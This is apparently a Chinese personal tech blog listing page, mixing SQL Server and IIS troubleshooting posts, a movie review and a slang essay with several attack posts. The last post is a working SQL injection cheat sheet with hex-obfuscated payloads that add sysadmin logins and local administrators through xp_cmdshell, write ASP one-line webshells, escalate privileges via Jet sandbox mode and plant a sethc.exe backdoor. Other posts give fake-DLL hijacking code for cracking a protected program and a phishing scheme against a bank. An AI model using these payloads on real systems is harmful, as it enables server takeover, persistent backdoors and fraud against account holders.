Featured Post

某杀毒厂商招网络安全工程师

进去看看»

职位 :网络安全工程师 部门:研发部工作地点:北京招聘人数:5招聘类型:社会招聘招聘时间:2010联系邮箱:lifc@rising.com.cn职位信息: 工作职责:1、流行操作系统及应用平台的攻击及防御技术研究2、跟踪国内外安全动态,对安全事件进行快速响应任职资格:1、具有网络安全攻防知识和经验,对各类操作系统、应用平台的弱点有较深入的理解2、熟悉TCP/IP协议和逆向工程、C语言3、良好的文字表达能力,较强的独立工作能力,面对压力较好解决问题的能力4、计算机或相关专业本科以上学历(能力突出者学历和专业不限)......

电脑接无线网卡使手机上网

作者:admin 分类:乱七八糟, 工具收集, 心情随笔 日期:23-09-2011
标签:    .

0

买了HTC的手机,一直在家用无线上网,关闭了3G上网功能,没钱去耗那流量,对包月不感兴趣。
很早之前买了个无线网卡,Tenda_W541UV2.0 自带软AP功能,然后昨晚做了个测试,果然将手机通过无线网卡连上之后成功上网

将无线网卡跟本地连接的网卡做个桥接,然后设定无线的IP地址,开启软AP,手机设定静态的IP地址,IP跟本地连接同个网站,网关跟DNS也一样。测试效果正常上网

兔子?基佬?男同性恋?

作者:admin 分类:乱七八糟, 工具收集, 心情随笔 日期:29-08-2011
标签:   .

0


那天在一群里,一网友问我,你是兔子吗?
晕,本人身高八尺,才高八斗,至于干兔子吗?
他又问我,你知道兔子是什么意思吗?
更晕,“兔”在旧皇城是指“相公”——也就是指娈童之类。明清两代,北京城专门有那么一拨儿男人,从事这种让人包的行业。按照上中下三教九流,相公就是下九流的行当——比妓丨女还不如。老北京管妓丨女叫“鸡”,管娈童叫“兔”。中国古代,男风盛行,尤其自清朝乾隆年间禁止嫖妓后,反倒更加鼓励大家嫖男妓。那时京剧中反串女性的优伶,常兼作色情生意,称相公、或是称兔子。另外,袁枚在「子不语」中有提到,同性恋的男子为求爱情,会跑去兔子庙拜拜,兔子这个词似乎就有同性恋的意寓。
在日本这个性的国度,更有了兔斯基,明明就是说兔子就是基, 兔是基 ,也就是基佬,也叫兔子。同样的,翻翻古典,《木兰辞》中有“双兔傍地走,安能辩我是雌雄?”这句话!

我更想说,现在的伪娘是不是有了兔爷的本质,请充许我向太阳说声:“日!”

修改SQL Server数据库中的逻辑文件名

作者:admin 分类:乱七八糟, 工具收集, 心情随笔, 技术文章 日期:14-05-2011
标签:   .

0

使用 FILE_NAME 函数可以返回给定文件标识 (ID) 号的逻辑文件名。

如下:

下例返回 file_ID 为 1 的文件名(master 数据库文件)。

USE master

SELECT FILE_NAME(1)

当我们进行从一个备份中还原数据库时,数据库的逻辑文件名是不会改变的。

可用 ALTER DATABASE 的 MODIFY FILE 子句作为替代方式更改数据文件或日志文件的逻辑名称。

alter database xxx modify file (name=xxx,newname=xxx)

事实上,上面的语句是更改了sysfiles和sysfiles1系统表中的name字段。

xpIIS安装出错的总结与解决办法收集

作者:admin 分类:乱七八糟, 工具收集, 技术文章 日期:28-04-2011
标签:  .

0

做两步操作

1
2
3
4
5
6
1、手动启动Distributed Transaction Coordinator服务。如果启动不了在CMD中执行 msdtc -resetlog
 
2、CD到 %windir%\system32\inetsrv 这个目录依次执行这两个命令
 
rundll32 wamreg.dll, CreateIISPackage
regsvr32 asptxn.dll

如果出现asptxn.dll出现0×8004e00f :

XP中IIS 500错误,不能编译asp解决方法或注册asptxn.dll出现0×8004e00f

都安装过n次IIS 都没安装成功,今天有空终于找到解决方法了,希望你也能成功。

今天我在新装的XP上安装IIS,结果出现如上所述的问题。打开HTML没有问题,打开ASP文件时就出现“HTTP 500”的错误信息。我把“显示友好HTTP错误信息”去掉,再打开ASP文件时出现:

1
2
Server Application Error 
The server has encountered an error while loading an application during the processing of your request. Please refer to the event log for more detail information. Please contact the server administrator for assistance

出现这样的情况是主要是由于IWAM账号(在我的计算机即是IWAM_MYSERVER账号)的密码错误造成了HTTP 500内部错误。

排除了一些基本的可能性外,我在网上搜寻了一下解决办法。最后终于解决了这个问题,在此分享一下。

先启动MSDTC服务,什么是MSDTC服务?显示名称:Distributed Transaction Coordinator;描述:协调跨多个数据库、消息队列、文件系统等资源管理器的事务。如果停止此服务,则不会发生这些事务。如果禁用此服务,显式依赖此服务的其他服务将无法启动。
CMD下net start msdtc
结果显示“distributed transaction coordinator 服务不能启动”。
解决方法:

把 C:\WINDOWS\system32\dtclog 这个目录重命名(如果有的话,没有就直接省去这一步),然后重新建立该目录。
在命令行下: msdtc -resetlog
再net start msdtc,显示服务启动成功了。

然后右键我的电脑–管理–本地用户和组,给IUSR_机器名和IWAM_机器名两个用户设置密码,要一样。

1
2
3
4
接着开始--运行--打cmd, 
然后cd C:\Inetpub\AdminScripts, 
然后cscript.exe adsutil.vbs set w3svc/wamuserpass 你设置的密码, 
然后cscript.exe adsutil.vbs set w3svc/anonymoususerpass 你设置的密码。

看一下,行了没有?如果还不行,那么
cscript.exe synciwam.vbs -v,
然后iisreset。

到一步还是不行,最后在CMD下执行以下命令:

1
2
3
4
5
cd %windir%\system32\inetsrv
 
rundll32 wamreg.dll, CreateIISPackage
 
regsvr32 asptxn.dll

关闭所有的IE窗口后重新打开再执行,OK

========= 以下部分是网上重新找的资料 (如果执行上面步骤仍然不行,请继续) ==============================
1. 系统开始菜单里 点 运行 输入:

1
2
3
regsvr32 jscript.dll                    (注:这个命令修复java脚本相关的动态链接库)
重新点运行 输入:
regsvr32 vbscript.dll                 (注:这个命令修复vb脚本相关的动态链接库)

=============

另有一种事对计算机组件服务-计算机-我的电脑下的com应用程序下的iis in-process applications使用安全权限进行分配。

暴一个隐藏很久的工行网银BUG这个BUG能泄漏用户的私密信息

作者:admin 分类:工具收集, 技术文章 日期:28-04-2011
标签: .

0

利用工行暴露用户的预留信息(任何一个工行卡号不用输入密码就能获取预留信息),而预留信息是用户判定钓鱼网站的重要工具。不废话了来看看利用思路:
1.潜伏一个公司网络,获取路由权限或内网dns权限。
2.挂钓鱼网站在任意一台内部PC,并在路由(或DNS上)上做dns缓存转发将http://www.icbc.com.cn指向内网服务器ip(192.168.0.2)(备注:挂钓鱼站到公司内网更隐蔽更不易被网警发现)
3.用户购物或使用网银的时候将直接被引导到钓鱼网站,当用户输入卡号点下一步的时候卡号被发出到钓鱼者的网站后台,钓鱼者只需人工获取对应帐号对应的预留信息返回显示在钓鱼网站页面上给用户看,以骗取信任
4.完成支付密码被盗
这个不知该归类为漏洞还是归类为BUG,我5年前用工行网银的时候就发现了,在工行论坛发帖被删,给客服打电话也没见响应,其实这个BUG很多银行和支付平台也都有,预留信息是判定钓鱼网站的一个很重要的标准,现在连泄密都谈不上,直接暴露,而用户惯性相信有正确预留信息的才是真工行,如果一旦被钓鱼网站利用那么受害的将会有很多人。。。。。。

声明:只讨论信息安全勿用于非法用途。另:本人有关于这个BUG很好的解决方案欢迎银行和我联系

解决sql的log文件过大,删除_log.LDF文件的解决方法

作者:admin 分类:工具收集, 技术文章 日期:20-04-2011
标签:   .

0


–首先分离XXXDB数据库
–找到文件所在的目录,删除Log.LDF文件
–执行此脚本,就可以附加数据库了

exec sp_attach_single_file_db 'cy0420','D:\SqlData\cy0420_Data.MDF'

设备激活错误。物理文件名 ‘D:\SqlData\cy0420_Log.LDF’ 可能有误。
已创建名为 ‘D:\SqlData\cy0420_log.LDF’ 的新日志文件。

当幸福来敲门,美式励志故事

作者:admin 分类:工具收集, 影音娱乐, 心情随笔 日期:16-04-2011
标签:  .

0

美国电影《当幸福来敲门》(The Pursuit of Happiness)取材真实故事。故事的主角就是当今美国黑人投资专家Chris Gardner。成功诠释出一位濒临破产、老婆离家的落魄业务员,如何刻苦耐劳的善尽单亲责任,奋发向上成为股市交易员,最后成为知名的金融投资家的励志故事。该片获得2006年奥斯卡最佳男主角提名。另有同名大陆电视剧和同名图书。

当幸福来敲门票房称冠 史密斯扮丑演父亲
  由威尔史密斯与亲儿子杰登首度同台主演的电影《当幸福来敲门》,上周末在北美推出后立刻造成催泪效应,两人感人肺腑的互动演出缔造出2700万美元高票房,击败同档《龙骑士》和《夏绿蒂的网》登上周末冠军。被视为黑人之光的威尔史密斯向来是好莱坞票房保证,《当幸福来敲门》是他自《MIB星际战警2》、《绝地战警2》、《机械公敌》、《鲨鱼黑帮》、《全民情圣》后第六部登上首周票房冠军的作品,而前五部冠军作在全球累绩的17亿美金票房更是让片商对他信心十足,认为《当》片有望成为威尔史密斯在北美第十部票房破亿代表作。

改编自真实传记
  《当幸福来敲门》改编自美国著名黑人投资专家克里斯·加德纳今年年初出版的同名自传。这是一个典型的美国式励志故事。作为一名单身父亲,加纳一度面临连自己的温饱也无法解决的困境。在最困难的时期,加德纳只能将自己仅有的财产背在背上,一手提着尿布,一手推着婴儿车,与儿子一起前往无家可归者收容所。实在无处容身时,父子俩只能到公园、地铁卫生间这样的地方过夜。
  为了养活儿子,穷困潦倒、无家可归的他从最底层的推销员做起,最后成为全美知名的金融投资家。回忆起自己的这段过去,克里斯·加纳表示:“在我二十几岁的时候,我经历了人们可以想象到的各种艰难、黑暗、恐惧的时刻,不过我从来没有放弃过。这本自传还有一层深意,那就是即使在最最艰难的时刻,父亲与儿子是不可分离的。”
  20来岁的加德纳读书不多,任职医疗物资推销员,还要照顾女友和年幼儿子。1981年,他在旧金山一个停车场,看到一名驾着红色法拉利的男人正找车位,他回忆道:“我对他说:‘你可用我的车位,但我要你答两个问题:你做什么工作和怎样做?’”对方自称是股票经纪,月薪达80000美元,比加德纳年薪多一倍。
  加德纳于是辞职转行,成功获得证券公司聘请,但还未上班,请他的人被解雇,新工作泡汤了。应征新工作前,他和女友吵架,惊动警员上门调停,加德纳被警方追讨1200美元的违例停车罚款,因为无力还钱,他被判入狱10天。但噩梦还未完,出狱后他发现女友同儿子都消失了,他变得一无所有。几个月后,女友再次现身,但不是想重修旧好,而是她不想带着儿子了。加德纳需要抚养孩子,不能再住单身宿舍,被迫流浪街头……廉价旅馆、公园、火车站厕所、办公室枱底,都成了两父子的栖身之所,一年后他才储够钱拥有自己的小窝。
  加德纳努力赚钱,当上股票经纪后,事业一帆风顺。1987年他在芝加哥开设经纪公司做老板,成为百万富翁,近年致力在南非扶贫。他出版了自传,就是《当幸福来敲门》(The Pursuit of Happiness)。
  亲子档真情演绎
  主演威尔·史密斯并不经常出现在这类文艺片中,此次是受到改编自真实传记的剧本打动,才决定出演男主角,并亲自担任制片工作,他还找来以《冲击效应》走红的黑人女星谭蒂出演。因为非常欣赏加布里尔·穆奇诺导演的电影《最后一吻》和《同床异梦》,威尔·史密斯邀请加布里尔·穆奇诺来执导这部电影 。
  而片中和威尔·史密斯有精彩互动演出的小童星,正是他戏外与《黑客任务》女星–贾达·平齐特所生的儿子杰登·史密斯。由于是和儿子对戏,以顾家出名的威尔·史密斯演来格外真情流露,他成功诠释出一位濒临破产、老婆离家的落魄业务员,如何刻苦耐劳的善尽单亲责任,奋发向上成为股市交易员的励志故事。片中的感人催泪几乎就会让观众招架不住,而史密斯为戏不惜扮丑搞邋遢的牺牲,更是被视为问鼎奥斯卡男主角的黑马。
  对于如此一个严肃题材的传记电影,我们的“耍帅专家”威尔·史密斯也不得不变得认真起来。这个长着一对孩子般棕色眼睛和讨喜招风耳、笑起来格外具有感染力的喜剧明星,在短时间内减掉了25磅(约11公斤)的体重,使身材健硕的自己看上去像人物原型一样瘦削。此外,他还留长了头发、戴上了眼镜。为了增加人物的说服力,他甚至“请”来了自己的儿子贾德·史密斯,在剧中扮演克里斯·加纳的儿子。相信这样一来,原著中那种父子一心的情怀将在电影中得到真实的再现。

很经典一段分享

DLL劫持技术

作者:admin 分类:业界资讯, 工具收集, 技术文章 日期:04-04-2011
标签:   .

0

DLL劫持技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中。
由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列

出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到

系统DLL同名函数里执行,如图18.3所示。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。

利用这种方法取得控制权后,可以对主程序进行补丁。此种方法只对除kernel32.dll、ntdll.dll等核心系统库以外的DLL有效,如网络应用程序的ws2_32.dll、游戏程序中的d3d8.dll,还有大部分应用

程序都调用的lpk.dll,这些DLL都可被劫持。
利用第5章5.6.2节提供的CrackMeNet.exe来演示一下如何利用劫持技术制作补丁,目标文件用Themida v1.9.2.0加壳保护。
1.补丁地址
去除这个CrackMe网络验证方法参考第5章5.6.2节,将相关补丁代码存放到函数PatchProcess()里。例如将401496h改成:

00401496 EB 29 jmp short 004014C1
补丁编程实现就是:
unsigned char p401496[2] = {0xEB, 0x29};
WriteProcessMemory(hProcess,(LPVOID)0x401496, p401496, 2, NULL);

p401496这个数组的数据格式,可以用OllyDbg插件获得,或十六进制工具转换。例如Hex Workshop打开文件,执行菜单“Edit/Copy As/Source”即可得到相应的代码格式。
2.构建输出函数
查看实例CrackMeNet.exe输入表,会发现名称为“ws2_32.dll”的DLL,因此构造一个同名的DLL来完成补丁任务。伪造的ws2_32.dll有着真实ws2_32.dll一样的输出函数,完整源码见光盘映像文件。实

现时,可以利用DLL模块中的函数转发器来实现这个目标,其会将对一个函数的调用转至另一个DLL中的另一个函数。可以这样使用一个pragma指令:
#pragma comment(linker, "/EXPORT:SomeFunc=DllWork.someOtherFunc")
这个pragma告诉链接程序,被编译的DLL应该输出一个名叫SomeFunc的函数。但是SomeFunc函数的实现实际上位于另一个名叫SomeOtherFunc的函数中,该函数包含在称为DllWork. dll的模块中。
如果要达到劫持DLL的目的,生成的DLL输出函数必须与目标DLL输出函数名一样。本例可以这样构造pragma指令:

#pragma comment(linker, "/EXPORT:WSAStartup=_MemCode_WSAStartup,@115")
编译后的DLL,会有与ws2_32.dll同名的一个输出函数WSAStartup,实际操作时,必须为想要转发的每个函数创建一个单独的pragma代码行,读者可以用工具AheadLib或用其他办法,将ws2_32.dll输出函

数转换成相应的pragma指令。
当应用程序调用伪装ws2_32.dll的输出函数时,必须将其转到系统ws2_32.dll中,这部分的代码自己实现。例如,WSAStartup输出函数构造如下:
ALCDECL MemCode_WSAStartup(void)
{
GetAddress("WSAStartup");
__asm JMP EAX;//转到系统ws2_32.dll的WSAStartup输出函数
}

其中,GetAddress()函数的代码如下:
// MemCode 命名空间
namespace MemCode
{
HMODULE m_hModule = NULL; //原始模块句柄
DWORD m_dwReturn[500] = {0}; //原始函数返回地址
// 加载原始模块
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH]={0};
TCHAR tzTemp[MAX_PATH]={0};
GetSystemDirectory(tzPath, sizeof(tzPath));
strcat(tzPath,"\\ws2_32.dll");
m_hModule = LoadLibrary(tzPath);//加载系统系统目录下ws2_32.dll
if (m_hModule == NULL)
{
wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath);
MessageBox(NULL, tzTemp, TEXT("MemCode"), MB_ICONSTOP);
}
return (m_hModule != NULL);
}
// 释放原始模块
inline VOID WINAPI Free()
{
if (m_hModule)
FreeLibrary(m_hModule);
}
// 获取原始函数地址
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
TCHAR szProcName[16]={0};
TCHAR tzTemp[MAX_PATH]={0};

if (m_hModule == NULL)
{
if (Load() == FALSE)
ExitProcess(-1);
}

fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintf(szProcName, "%d", pszProcName);
pszProcName = szProcName;
}
wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName);
MessageBox(NULL, tzTemp, TEXT("MemCode"), MB_ICONSTOP);
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace MemCode;

编译后,用LordPE查看伪造的ws2_32.dll输出函数,和真实ws2_32.dll完全一样,如图18.4所示。

图18.4 伪造ws2_32.dll的输出表

查看伪造的ws2_32.dll中任意一个输出函数,例如WSACleanup:

.text:10001CC0 ; int __stdcall WSACleanup()
.text:10001CC0 WSACleanup proc near
.text:10001CC0 push offset aWsacleanup ;"WSACleanup"
.text:10001CC5 call sub_10001000 ;GetAddress(WSACleanup)
.text:10001CCA jmp eax
.text:10001CCA WSACleanup endp

会发现输出函数WSACleanup()首先调用GetAddress(WSACleanup),获得真实ws2_32.dll中WSACleanup的地址,然后跳过去执行,也就是说,ws2_32.dll各输出函数被Hook了。
3.劫持输出函数
ws2_32.dll有许多输出函数,经分析,程序发包或接包时,WSAStartup输出函数调用的比较早,因此在这个输出函数放上补丁的代码。代码如下:
ALCDECL MemCode_WSAStartup(void)
{
hijack();
GetAddress("WSAStartup");
__asm JMP EAX;
}

hijack()函数主要是判断是不是目标程序,如果是就调用PatchProcess()进行补丁。 void hijack()
{
if (isTarget(GetCurrentProcess())) //判断主程序是不是目标程序,是则补丁之
{
PatchProcess(GetCurrentProcess());
}
}

伪造的ws2_32.dll制作好后,放到程序当前目录下,这样当原程序调用WSASTartup函数时就调用了伪造的ws2_32.dll的WSASTartup函数,此时hijack()函数负责核对目标程序校验,并将相关数据补丁好

,处理完毕后,转到系统目录下的ws2_32.dll执行。
这种补丁技术,对加壳保护的软件很有效,选择挂接的函数最好是在壳中没有被调用的,当挂接函数被执行时,相关的代码已被解压,可以直接补丁了。在有些情况下,必须用计数器统计挂接的函数的

调用次数来接近OEP。此方法巧妙地绕过了壳的复杂检测,很适合加壳程序的补丁制作。
一些木马或病毒也会利用DLL劫持技术搞破坏,因此当在应用程序目录下发现系统一些DLL文件存在时,如lpk.dll,应引起注意。

SQL高级注入使用之储存过程

作者:admin 分类:业界资讯, 工具收集 日期:14-03-2011
标签:   .

0

收藏很久了 不过看到很多朋友没有就放出来啦~~~
出来新的方法 欢迎大家补充。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
sql2005恢复xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
关闭:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
零、
---------------
-- 添加SA用户--
---------------
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
1、exec master.dbo.sp_addlogin system;
2、exec master.dbo.sp_addlogin system,system;
3、exec master.dbo.sp_addsrvrolemember itpro,sysadmin
 
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
防注入 sa:itpro pass:itpro
declare @s varchar(4000) set @s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e20697470726f as varchar(4000));exec(@s); declare @c varchar(4000) set @c=cast(0x65786563206d61737465722e64626f2e73705f70617373776f7264206e756c6c2c697470726f2c697470726f as varchar(4000));exec(@c); declare @a varchar(4000) set @a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d6265722027697470726f272c2073797361646d696e as varchar(4000));exec(@a);-- and 1=1
 
防注入 sa:system pass:system
declare @s varchar(4000) set @s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e2073797374656d2c73797374656d as varchar(4000));exec(@s);declare @a varchar(4000) set @a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d626572202773797374656d272c2073797361646d696e as varchar(4000));exec(@a);-- and 1=1
一、
--------------
-恢复存储过程-
--------------
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_dropextendedproc "xp_cmdshell"
exec sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
exec sp_dropextendedproc 'xp_cmdshell'
exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
恢复cmdshell防注入
============================================================
declare @a varchar(255),@b varchar(255),@c varchar(255);
set @a=0x6D61737465722E2E73705F616464657874656E64656470726F63;
set @b=0x78705F636D647368656C6C;
set @c=0x78706C6F6737302E646C6C;
exec @a @b,@c
============================================================
 
二、
 
----------------------------------
--恢复sp_addextendedproc存储过程--
----------------------------------
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
 
三、
--------------------------
--使用存储过程加管理方法--
--------------------------
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
1、master.dbo.xp_cmdshell 'net user itpro gmasfm && net localgroup administrators itpro /add'
2、EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
3、DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD 
@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user sadfish fish /add'
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
 
四、
-------------------------
-- 导出文件的存储过程  --
-------------------------
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c netstat -an >c:\1.txt'
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
 
五、
---------------------------
--  读取文件的存储过程   --
---------------------------
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
 
六、
 
----------------------
-----写一句话木马-----
----------------------
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\Inetpub\tianhong\2.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<%execute(request("a"))%>'     ' ' 单引号为要写的内容
<%25 if request("x")<>"" then execute(request("x"))%25>
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
 
防注入写入法
================================================================
declare @a int,@b int,@c varchar(255),@d varchar(255),@e varchar(255),@f varchar(255),@g varchar(255),@h varchar(255),@i varchar(255),@j varchar(255);
set @c=0x6D61737465722E2E73705F6F61637265617465;
set @d=0x6D61737465722E2E73705F6F616D6574686F64;
set @e=0x536372697074696E672E46696C6573797374656D4F626A656374;
set @f=0x4372656174655465787446696C65;
set @g=0x433A5C496E65747075625C73797374656D2E617370;
set @h=0x74727565;
set @i=0x7772697465;
set @j=0x3C256576616C20726571756573742822582229253E;
exec @c @e,@a output;
exec @d @a,@f,@b output,@g,@h;
exec @d @b,@i,null,@j
==================================================================
 
七、
----------------------
-----写一句话木马-----
----------------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;-- and% 1=1
在上面一样;exec%20sp_makewebtask%20'd:\zjkdj\zjkdj\zjkds\bake.asp,'%20select%20''<%25execute(request("a"))%25>''%20';--
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 
八、
----------------------
---SA沙盒模式提权-----
----------------------
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
1、exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
 
2、Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user itpro gmasfm /add")');
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
 
九、
--------------------
-----另类SA提权-----
--------------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
2、declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out 
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
1、declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
 
DECLARE @o int
DECLARE @z int
EXEC sp_OACreate 'Shell.Users',@o OUT
EXEC sp_OAMethod @o, 'Create', @z OUT, 'test'
EXEC sp_OASetProperty  @z, 'setting', 3 , 'AccountType'
EXEC sp_OAMethod @z, 'ChangePassword',NULL , '123456', ''
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 
十、
--------------
--导出注册表--
--------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
